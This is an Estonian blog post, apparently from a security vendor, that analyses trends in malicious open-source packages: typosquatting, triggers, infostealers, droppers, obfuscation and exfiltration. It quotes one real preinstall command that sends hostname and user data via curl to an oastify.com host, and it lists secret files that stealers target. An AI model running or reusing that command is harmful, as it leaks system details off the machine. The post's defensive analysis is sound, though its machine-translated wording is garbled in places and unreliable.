Pahatahtlikud paketid 5

Pahatahtlike pakettide anatoomia: millised on trendid?

Eelmises episoodis Avatud lähtekoodiga pahatahtlikud paketid: probleem, arutasime, miks ohutegelased olid nii entusiastlikud uute pahatahtlike komponentide avaldamise või pahavara süstimise suhtes olemasolevate komponentide uusimatesse versioonidesse: avatud lähtekoodiga infrastruktuur võimaldab kõigil kõikjal luua ajutise konto komponentide registris (nt NPM, PyPI, Docker Hub või Visual Studio Marketplace) või koostööl põhinevas arendusplatvormis (nt GitHub). Nullkulu ja palju võimalusi tarkvarameeskondade traditsioonilise usalduse ärakasutamiseks kolmandate osapoolte komponentide vastu. 

Asümmeetria selle vahel, kui lihtne on ründajatel avatud lähtekoodiga infrastruktuuri abil pahavara levitada, ja kui keeruline on tarkvara arendavatel organisatsioonidel (kõik?) vältida pahavara nakatumist (ja levitada pahavara tarkvaras, mida nad teistele levitavad), viis selleni, et eelmisel aastal saavutati peaaegu veerand miljonit pahatahtlikku tarkvara. 

See on nii ulatuslik probleem, et ükski organisatsioon ei suuda seda lahendada, ning kogukond on avatud lähtekoodiga tarkvara protsessi ümbermõtestamisel seoses usalduse, vaikimisi turvalisuse ja turvalisuse põhimõttega ning komponentide elutsükliga. Vaatleme neid ideid järgmises osas. Kaitse avatud lähtekoodiga pahatahtlike pakettide eest: mis toimib (ei toimi).

Pea meeles, et me räägime tarkvarakomponentidest, mis enamasti vastavad tarkvarapaketid: korduvkasutatavad komponendid, mis on pakitud nii, et neile saaks tarkvaramanifestis sõltuvusena viidata, ja need installitakse paketihalduri või ehitustööriistaga. Pange tähele, et seda juhtumit saab laiendada, et see hõlmaks avalikke komponente. konteineri pildid (kasutatakse konteinerite käituskeskkondades ja orkestreerimisplatvormidel nagu Kubernetes) ja tarkvaratööriistade laiendused (ehituse, automatiseerimise ja juurutamise jaoks). 

Siin analüüsime, kuidas see pahatahtlikel komponentidel põhinev rünnakutaktika toimib varasemate näidete ja meie pahavara varajase hoiatamise platvormil nähtu põhjal (MEW). Analüüsime pahatahtlikke komponente erinevates dimensioonides: 

(1) levitamiseks valitud viis (kasutatud register uues või olemasolevas komponendis ja avaldatud komponendi versiooni nakatamiseks kasutatud tehnika), (2) kuidas pahavara aktiveeritakse või käivitatakse, (3) pahatahtlik käitumine, st milliseid kahjulikke tegevusi täheldatakse ja mis on ründaja motivatsioon, (4) millised tehnikad on levinumad hägustamise, märkamatuks jäämise eesmärgil peitmise, külgmise liikumise, juhtimis- ja kontrollhostidega suhtlemise jms jaoks; ja (5) tehnikad piisava populaarsuse ja usalduse saavutamiseks, et ohvrid komponendi installiksid.

Valitud jaotusmehhanism

Me täheldame „taustamüra„lihtsad pahatahtlikud paketid, mis kasutavad trükivigadega petuskeemi, et õngitseda ettevaatamatuid arendajaid, kelle sõltuvuse paketinimes on trükiviga. Paljud populaarsed paketid saavad hulga sarnase nimega ja trükivigadega pakette, ootusega, et need õngivad mõnda ettevaatamatut arendajat.“ 

Nad kasutavad ajutist kontot, avaldavad rühma typosquat pakette, loovad uue ja avaldavad veel ühe rühma... Mõningase automatiseerimise ja leidlikkuse abil saavad nad küll teatud keerukuse, aga tavaliselt on need üsna triviaalsed. Meie sisemiselt nimetame neid „anšoovised„Peamine eesmärk on volituste varastamine, kuid aeg-ajalt leiame nuhkvara, mis varastab lähtekoodi või tundlikke andmeid, näiteks isikuandmeid (PII), lõikelaua jäädvustamist ja muid kahtlusi.

Ootamatult näeme keerukamaid pahatahtlikke komponente ehk „haisid“. Vähemus on suunatud konkreetsetele rühmadele või organisatsioonidele, tavaliselt krüptovaluuta kurnajate või veebiskimmerite abil, mis aktiveeritakse tingimuslikult, võib-olla järgides lähenemisviisi, mida on nähtud sündmustevoo intsident rünnaku kasuliku sisu dekrüpteerimine ainult siis, kui paketile viidatakse sihtpaketist. 

Jaotusmehhanismi analüüsiti suurepärases ja nüüdseks klassikalises artiklis „Backstabber's Knife Collection: avatud lähtekoodiga tarkvara tarneahela rünnakute ülevaade”, mis on kohustuslik lugemine. Kindlasti olete seda kena diagrammi varem näinud: 

pahatahtlikud paketid

Uuriti kõiki võimalusi, sealhulgas uusi ja olemasolevaid pakette; lähtekoodi, ehitussüsteemi või pakendatud komponendi enda mõjutamist; varastatud volituste või sotsiaalse manipuleerimise kasutamist; hüljatud kontode ja repositooriumide kaaperdamist või hooldatud kontode mürgitamist. Mõned rünnakud said nimed (Kirjaviga, Sõltuvussegadus, Ilmselge segadus, Repo-tõukaminejne) ja neid arutati juba mujal. 

Aga kuidas on lood valitud registritega?

NPM on jätkuvalt pahatahtlike pakettide koguarvu poolest esirinnas, kuid alates sellest aastast on PyPI-s toimunud järsk tõus. Python on populaarne andmeteaduse ja masinõppe ökosüsteem. Tegelikult on pahavara tihedus PyPI-s nüüd suurem kui NPM-is. 

Kuidas pahavara käivitub

Pahatahtlikud paketid käivituvad installimise ajal vaid 4 juhul 10-st (viimastel aastatel oli see ligi 6 juhul 10-st). Ülejäänud käivitavad pahatahtliku käitumise käitusajal, kusjuures 1 juhul 100-st käivitus testide käivitamise ajal. Vastased näivad teadvat, et installiskriptide kontrollimatu käivitamine oli paljudes kohtades keelatud.

Mida pahad saavad?

Loetleme pahatahtliku käitumise kategooriad, alustades kõige populaarsemast. Pange tähele, et mõju võib olla üsna erinev: a klaasipuhasti on kangekaelselt hävitav, kuid see pole levinud ja seda on täheldatud vaid üksikutel juhtudel, mis on seotud sihipäraste kübersõjakampaaniate või jõhkra häktivismiga. Järgmised kategooriad on üsna levinud:

  • InfoStealer / volituste äravoolKõige sagedasemad, üle 90%, lihtsamatest rünnakutest on lihtsad varastajad, kes otsivad peamiselt volitusi, nagu paroolid, juurdepääsumärgid, API-võtmed ja privaatvõtmed (SSH ja muu sarnase jaoks). See on ilmselt kõige lihtsam kirjutada (koos pühkijatega?). Nad loetlevad teadaolevad failid/kataloogid ja muud allikad (nt registrivõtmed), pakendavad sisu ja saadavad need andmed C2-serverisse. Idee on lihtne: „Avaldan andmepüügivolituste varastaja, et saaksin hiljem volitusi kasutada suunatud rünnaku käivitamiseks“. 

Täheldatud C2-võrgustik on tavaliselt odav ja räpane, nagu Telegrami kanalid või ngroki-laadsed tunnelitööriistad (sageli VPN-i väljuvate IP-de kaudu avalikustatud pöördproksi kujul). Võimalusi on sadu (!) ja paljud GitHubi projektid on selle all. paroolivarastaja teemaSpetsialiseerumised nagu klahvilogijad on pahatahtlike pakettide ja konteinerkujutiste puhul haruldased, kuid sagedasemad tööriistalaiendustes, kus eeldatakse kasutaja sekkumist.

  • Tilguti / AllalaadijaTeine populaarsus, tavaliselt esikohal mitmeastmeliste rünnakute puhul. Rohkem kui ühel kolmandikul pahatahtlikest komponentidest on dropperid (kui pahatahtlik kasulik fail on paketti kaasas) või allalaadijad (kasulik fail laaditakse alla ründaja kontrolli all olevast lõpp-punktist). Kasulik fail on sageli teadaolev binaarpahavara variant ning seda käivitatakse ja mõnikord säilitatakse tagauste, nuhkvara, krüptoraha tühjendajate ja muude kasutusjuhtude installimiseks. Allalaaditud või juurutatud kasulik fail alustab teise faasi rünnakut, kasutades ära kogu olemasolevate pahavara binaarfailide pakutavat võimsust. Binaarfaile saab paketi sees levitada, sageli maskeerituna piltideks või väidetavalt kahjututeks failitüüpideks, et vältida avastamist ootamatute saitidega ühenduse loomisel. 
  • Krüptovaluutade varastajad / kaevuridRahaliselt motiveeritud vastased on valmis teie pilveressursse kasutama krüptokaevandajate käitamiseks (nad tuvastavad isegi, kas need töötavad pilvepõhises virtuaalmasinas). Neid ei huvita... madal kasumimäär 1 dollar iga 53 dollari kohta, mis ohvrilt varastatud pilveinfrastruktuuri eest võetakse. Ohvrid ei pruugi sellest teada saada enne, kui nad saavad ootamatu arve. Õnneks see tuleb ja läheb. Krüpteerimine pahatahtlike pakettidega kampaaniad ilmuvad aeg-ajalt ja kaovad siis ära, püüdes rahakoti kasutajaid õnge võtta või lõpuks rahakoti pakkujat sihikule võtta, nagu näiteks Pearaamatu rünnak.   

Muud käitumisviisid, näiteks a juurutamine tagauks Koodi kaugkäivitamine pöördkesta avamise teel on nüüd harvem kui varem. Näiteks 123rf_kaastöölise_veebileht pakett (nüüd registrist eemaldatud) avaneb ilma igasuguse hägustamiseta, kasutades registrist kopeeritud ja kleebitud vastupidist kesta. Pöördkesta spikker:

pahatahtlikud paketid 2
Pahatahtlikke pakette täheldati 24.–30. juuni 2024 nädalal.

Lisaks legitiimsetele ja pahatahtlikele komponentidele oleme täheldanud mitmeid kuritarvitusi, sealhulgas:

Rämpspostipakid

Seal on tuhandeid väikepakette, enamasti NPM-is, mis ei sisalda pahavara, kuid lubavad lihtsat sissetulekut, maduõli, linke Viagra pakkumistele ja kõike muud sellist. Mõned kasutajad avaldavad sellist rämpsposti ja võtavad registrist palju ribalaiust. Teine(d) osaleja(d), võimalik, et Indoneesiast, püüdis(id) kasu saada, tee kuritarvitamineRank mõeldud avatud lähtekoodiga arendajate kompenseerimiseks, luues kümneid tuhandeid omavahel seotud NPM-pakette koos vastavate GitHubi näidishoidlatega. See on kasutustingimuste selge rikkumine.

Vigade otsimise ja turvauuringute pettused

 Kui pakett kirjeldab end andmete väljafiltreerimisena headel eesmärkidel, näiteks turvaaukude tuvastamiseks veaotsinguprogrammide jaoks või ökosüsteemi teatud aspektide uurimiseks, oleme näinud tuhandeid selles kategoorias pakette, mis hangivad Burp Collaboratori aadressile PortSwiggerist (nt host domeenis oastify.com) identifikaatorit, kuid mitte liiga tundlikke andmeid. Oleme sageli täheldanud koopiaid... Sõltuvussegadus Alex Birsani kontseptsiooni tõestus, nagu ka aurora-webmail-pro pakett (registrist eemaldatud), mis lihtsalt käivitab selle ebameeldiva koodi eelinstallimisskriptis:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Ja sisaldas ka „See on lihtne sõltuvussegaduse rünnaku kontseptsiooni tõestus„lahtiütluse kirjeldus” pakett.jsonSee on teenuse osutamise tingimuste selge rikkumine, isegi ilma pahatahtliku kavatsuseta. 

Head uudised? Me pole (veel) näinud lunavararünnakuid, mis oleksid suunatud pahatahtlike komponentide kaudu. Teadmata põhjustel eelistavad küberkurjategijad traditsioonilisemaid e-posti teel andmepüügi, RDP-põhiseid ja automaatse allalaadimise edastusmehhanisme. 

Täiendavad täheldatud tehnikad 

pahatahtlikud paketid 3

Püsivuse tagamiseks, kaitsest kõrvalehoidumiseks, teabe kogumiseks, juhtimis- ja kontrollhostidega suhtlemiseks ning väljafiltreerimiseks kasutati mitmeid tehnikaid. 

Püsivus Pahatahtlike komponentide puhul saavutatakse edu teise astme binaarkoodi püsivusfunktsioonide abil, kuid mõnikord peitub käitumine paketi koodis, kõige levinumad on ajastatud ülesanded ja muudatused Windowsi registris. 

Löömine on tavaline, kuid lihtne. Enamik kirjavigu tekitavaid pakette (pidage meeles „anšoovised„?”) ei kasuta üldse hägustamist; paljud kasutavad kas triviaalseid (base64/hex kodeering või asendusšifrid nagu rot13) või olemasolevaid koodi hägustamise ja minimeerimise tööriistu, mida saab õigete tööriistadega hõlpsalt tagasi pöörata. Ainult „haid” tegelevad tõelise, tõsise hägustamisega, mida on raske pöördprojekteerida.

Varjamine võib rünnaku varjata, aga miks peaks avatud lähtekoodiga komponendi koodi varjama? Kas on tõendeid, et midagi tuleb varjata? Oleme leidnud palju juhtumeid mittepahatahtlikest pakettidest, mis kasutavad varjamist intellektuaalomandi kaitsmiseks, mis on vastuolus „avatud lähtekoodiga“. Varjamist saab kasutada pahavara tõendina, kuid see pole lõplik. Samuti on seda keeruline lahti harutada. 

Evasion kaitsemeetmetest lähtuvalt võetakse kasutusele lihtsaid meetodeid. Pahatahtlik kood on sageli kaitstud proovi … püüda plokid, mis ignoreerivad kõiki erandeid, seega logides ebanormaalset tegevust ei kuvata. Keskkonna (töötab virtuaalmasinas või konteineris) kontrollimine on haruldane, välja arvatud juhul, kui tegemist on konkreetse organisatsiooni või keskkonna vastu suunatud pahavaraga.

Binaarfailide maskeerimine piltides ja PDF-failides (omamoodi steganograafia) oli veel üks tehnika, mida nähti avastamisest kõrvalehoidumiseks.

Kuna kõige levinumad pahatahtlikud komponendid on infovarastajad, andmete kogumine on oluline. Saladusi (paroole, juurdepääsutõendeid, API-võtmeid, krüptograafilisi võtmeid) skannitakse rutiinselt logifailides, keskkonnamuutujates ja isegi lõikelaual (mida on näha pangandustroojalaste ja krüptovaraste puhul). Lähtekoodi väljafiltreerimine on samuti levinud, kuna pakettide installimine toimub sageli arendussõlmes, kus võidakse kloonida sisemisi Giti repositooriume. Oleme näinud pakette, mis loetlevad katalooge Giti repositooriumide otsimisel. Selliste asukohtade nagu .env, private.pem, settings.py, app.js või application.properties otsimine on üsna tavaline.

Eksfiltratsioon on veel üks laialdaselt kasutatav meede. Vaid väike osa pahatahtlikest pakettidest üritab isegi varjata ekstraheeritud andmete sihtkohta. Telegrami kanalid ja ngrokilaadsed tunnelid kasutatakse sageli. Ja neid on palju tavaliselt valgesse nimekirja kantud domeenid, mida kasutatakse väljafiltreerimiseks

Muud tehnikad, näiteks privileegide eskaleerimine või külgmine liikumine, olid vähem levinud. 

Populaarsuse ja usalduse saavutamine

Kujutage ette tehnoloogiapätti, kellel on valmis tapvalt pahatahtlik asi ja kes mõtleb: „Kuidas ma saan selle jama nendele pahaaimamatutele idiootidele usaldusväärseks teha?“. 

See tähendab, kuidas pahatahtliku komponendi kirje kuvada nii palju tärne/hargnemisi (populaarsuse jaoks), lisaks versioone/probleeme ja pull requests (tegevuseks). Idee on saavutada fiktiivne populaarsus (staarid) ja ülalpeetavad ning veenev mulje asjakohasusest ja püsivusest. 

Register ei kontrolli, kas GitHubi projekti sisu ja paketi sisu vastavadSee on tarkvara tarneahelas tuntud probleem. Avalikud registrid on hiiglaslikud sinkid, mis neelavad alla kõik, mis neile ette visatakse. Saate linkida mis tahes repositooriumi. 

pahatahtlikud paketid 4
Tõendite jaotus potentsiaalse pahavara kohta 24.–30. juuni 2024 nädalal.

Kui pahatahtlik pakett teeb trükivea populaarse paketi vastu, on see lihtne: viidake lihtsalt olemasolevale GitHubi repositooriumile paketi loomiseks ja registrisse avaldamiseks kasutatud sõltuvuste manifestis. Võltsitud GitHubi repositooriumi uute pakettide puhul peate võib-olla rohkem leidlikkust, näiteks luues võltsitud tähistaevas/hargnemine GitHubi kontod skriptimise kaudu.

Ja kui teie paketi sisu on repositooriumi omaga mõistlikult sarnane, siis lisage siia-sinna paar hästi disainitud muudatust... Võite oma pahavara süstida uude paketti, mis sarnaneb populaarse paketiga, viidates olemasoleva repositooriumile, ja oodata trükivigu. Kui keegi julgeb võrrelda paketi tarballi sisu GitHubi repositooriumi sisuga, võivad pahavara süstimispunktide erinevused kergesti märkamata jääda. Oleme seda lähenemisviisi varem mitu korda näinud. 

Mehhanism, mis võimaldaks komponendil esitada võltsimiskindla avalduse päritolu, pakendi valmistamise viisi, allikate ja valmistaja kohta, oleks teretulnud. Aga see on juba teine ​​lugu. 

Kas komponent X on pahavara?

Kas on olemas (põhjalik) pahatahtlike pakettide andmebaas? Ei. Avatud lähtekoodiga haavatavustele on määratud CVE ID, kuid ainult vähestele pahatahtlikele pakettidele (eriti neile, mis pealkirjadesse jõuavad) antakse see. Pahatahtlike pakettide CVE on CWE-506 (sisseehitatud pahatahtlik kood). 

Tavapärased pahavaratõrjevahendid (VirusTotal, MalwareBazaar, SOREL-20M…) ei paku pahatahtlike komponentide jaoks spetsiaalseid kaitsemeetmeid. See oleks teretulnud!

Analüüsiks on olemas uurimisnäidiste andmebaasid ja andmekogumid (me kasutame neist mõnda), kuid kirjeid uuendatakse alles siis, kui pahatahtlik pakett on teada, mis on sageli liiga hilja. Kui olete huvitatud, siis OpenSSF Pahatahtlikud paketid on kena algus.

Järgmises postituses arutame, kuidas teada saada, kas antud pakett on pahatahtlik. Spoiler: jah, pahatahtlikke komponente saab kontrollida juba kokkupuuteperioodi alguses, enne kui register teadaoleva pahatahtliku komponendi eemaldab.

Lisalugemist

Järgmises episoodis "Kaitse avatud lähtekoodiga pahatahtlike pakettide eest: mis toimib (ei toimi)" Arutame, mida avatud lähtekoodiga turvalisuse tagamiseks teha ja mida mitte teha. Enamikul turvateadlikest spetsialistidest on intuitsioon, kuidas selle ohuga toime tulla, kuid väärarusaamu on palju. 

Vaatame üle, miks need ideed on valed ja kuidas sellised väärarusaamad aitavad kaasa selle rünnakumehhanismi populaarsusele ning organisatsioonide kogetavale tohutule riskile. Seejärel vaatame, mis toimib ning millised on vajalikud pingutused ja ressursid. 

Samuti kavatseme postitada pahatahtlike pakettide arengust nende kavatsuse, süstimismehhanismi ja rünnakutehnikate osas.

Hoia!

Tehtud tööd

Avatud lähtekoodiga pahatahtlikud paketid: probleem

OSS-i pahatahtlike pakettide eest kaitsmine: mis toimib (ei toimi)

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga